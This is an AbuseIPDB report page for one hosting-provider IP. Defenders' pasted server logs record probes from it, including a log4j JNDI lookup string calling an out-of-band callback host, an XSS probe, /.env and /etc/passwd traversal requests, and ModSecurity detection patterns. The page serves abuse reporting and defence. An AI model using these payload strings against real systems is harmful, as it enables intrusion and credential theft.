JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 82.25.104.91

82.25.104.91 was found in our database!

This IP was reported 15 times. Confidence of Abuse is 0%: ?

ISP	Internet Utilities Europe and Asia Limited
Usage Type	Data Center/Web Hosting/Transit
ASN	AS47583
Hostname(s)	srv794065.hstgr.cloud
Domain Name	netutils.io
Country	🇮🇳 India
City	Mumbai, Maharashtra

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 82.25.104.91

Whois 82.25.104.91

IP Abuse Reports for 82.25.104.91:

This IP address has been reported a total of 15 times from 9 distinct sources. 82.25.104.91 was first reported on March 9th 2025, and the most recent report was 1 year ago.

Old Reports: The most recent abuse report for this IP address is from 1 year ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇮🇩 penjaga BRIN	2025-03-30 19:12:43 (1 year ago)	nginx-alfa-240	Web App Attack
🇩🇪 london2038.com	2025-03-30 13:46:25 (1 year ago)	Probing for exploits 82.25.104.91 - - [30/Mar/2025:15:46:20 +0200] "GET /_ignition/scripts/--%3E%3Cs ... show more Probing for exploits 82.25.104.91 - - [30/Mar/2025:15:46:20 +0200] "GET /_ignition/scripts/--%3E%3Csvg%20onload=alert%28document.domain%29%3E HTTP/1.1" 422 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0" 82.25.104.91 - - [30/Mar/2025:15:46:24 +0200] "GET /.env HTTP/1.1" 422 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Tokai/21.1.294403 Version/17.2 Safari/605.1.15" show less	Hacking Web App Attack
🇺🇸 vestibtech	2025-03-20 18:15:29 (1 year ago)	82.25.104.91 - - [20/Mar/2025:12:15:29 -0600] "GET /public/index.php/home/file/user_pics HTTP/1.1" 4 ... show more 82.25.104.91 - - [20/Mar/2025:12:15:29 -0600] "GET /public/index.php/home/file/user_pics HTTP/1.1" 404 10743 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" ... show less	Web App Attack
🇺🇸 TPI-Abuse	2025-03-20 16:27:48 (1 year ago)	(mod_security) mod_security (id:248270) triggered by 82.25.104.91 (srv745925.hstgr.cloud): 1 in the ... show more (mod_security) mod_security (id:248270) triggered by 82.25.104.91 (srv745925.hstgr.cloud): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Mar 20 12:27:41.156930 2025] [security2:error] [pid 18685:tid 18685] [client 82.25.104.91:54820] [client 82.25.104.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?\|rmi\|dns\|iiop\|nis\|nds\|corba\|\\\\$\\\\{(?:lower\|upper)):" at ARGS:x. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j\|\|globalsolutions.technology\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "globalsolutions.technology"] [uri "/"] [unique_id "Z9xB_ahMsBlGA0R50_H_dgAAABA"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 MO webmaster	2025-03-19 14:22:00 (1 year ago)	ActionDispatch::Http::MimeNegotiation::InvalidType ("/${jndi:ldap://${:-695}${:-498}.${hostName}.ac ... show more ActionDispatch::Http::MimeNegotiation::InvalidType ("/${jndi:ldap://${:-695}${:-498}.${hostName}.accept.cvclco05jdpcim9v7pa0h9j9ztfsosgqn.oast.online}" is not a valid MIME type): show less	Hacking Bad Web Bot
🇫🇮 tjs	2025-03-18 23:05:00 (1 year ago)	log4j attack / scan	Hacking Web App Attack
🇦🇺 MAGIC	2025-03-18 14:02:15 (1 year ago)	VM5 Bad user agents ignoring web crawling rules. Draing bandwidth	DDoS Attack Bad Web Bot
🇩🇪 london2038.com	2025-03-17 11:40:25 (1 year ago)	Probing for exploits 82.25.104.91 - - [17/Mar/2025:12:40:19 +0100] "GET /static///////../../../../et ... show more Probing for exploits 82.25.104.91 - - [17/Mar/2025:12:40:19 +0100] "GET /static///////../../../../etc/passwd HTTP/1.1" 400 157 "-" "-" 82.25.104.91 - - [17/Mar/2025:12:40:20 +0100] "GET ///../app.js HTTP/1.1" 400 157 "-" "-" show less	Hacking Web App Attack
Anonymous	2025-03-17 11:37:52 (1 year ago)	$f2bV_matches	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-03-15 19:10:50 (1 year ago)	(mod_security) mod_security (id:248270) triggered by 82.25.104.91 (srv745925.hstgr.cloud): 1 in the ... show more (mod_security) mod_security (id:248270) triggered by 82.25.104.91 (srv745925.hstgr.cloud): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Mar 15 15:10:45.003514 2025] [security2:error] [pid 9397:tid 9423] [client 82.25.104.91:44510] [client 82.25.104.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?\|rmi\|dns\|iiop\|nis\|nds\|corba\|\\\\$\\\\{(?:lower\|upper)):" at ARGS:x. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j\|\|cqaie.aafm.us\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "cqaie.aafm.us"] [uri "/"] [unique_id "Z9XQtH6awCMxUtnKCRDYcwAAAIY"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 MO webmaster	2025-03-14 10:46:00 (1 year ago)	ActionDispatch::Http::MimeNegotiation::InvalidType ("../../../../../../../../etc/passwd{{" is not a ... show more ActionDispatch::Http::MimeNegotiation::InvalidType ("../../../../../../../../etc/passwd{{" is not a valid MIME type): show less	Hacking Bad Web Bot
🇦🇺 MAGIC	2025-03-14 10:01:58 (1 year ago)	VM5 Bad user agents ignoring web crawling rules. Draing bandwidth	DDoS Attack Bad Web Bot
🇮🇩 penjaga BRIN	2025-03-10 17:12:56 (1 year ago)	-240	Web App Attack
🇩🇪 london2038.com	2025-03-10 11:18:10 (1 year ago)	Malformed or malicious web request 82.25.104.91 - - [10/Mar/2025:12:18:09 +0100] "POST /webadm/?q=mo ... show more Malformed or malicious web request 82.25.104.91 - - [10/Mar/2025:12:18:09 +0100] "POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1" 404 4187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0" show less	Hacking Web App Attack
Anonymous	2025-03-09 06:05:27 (1 year ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH

Showing 1 to 15 of 15 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 208.122.209.49

🇺🇸 195.184.76.207

🇳🇱 176.65.148.244

🇫🇮 144.31.239.128

🇿🇦 102.202.45.162

🇺🇸 13.89.125.227

🇸🇬 5.223.69.5

🇺🇸 216.25.89.122

🇫🇷 195.154.59.122

🇧🇷 186.195.239.19

🇧🇴 181.188.176.242

🇺🇸 162.241.235.142

🇺🇸 159.65.172.111

🇵🇰 103.174.206.169

🇮🇳 103.168.57.31

🇮🇩 103.159.221.207

🇨🇦 85.217.149.66

🇫🇷 85.217.140.31

🇮🇱 84.110.173.194

🇺🇸 77.91.118.18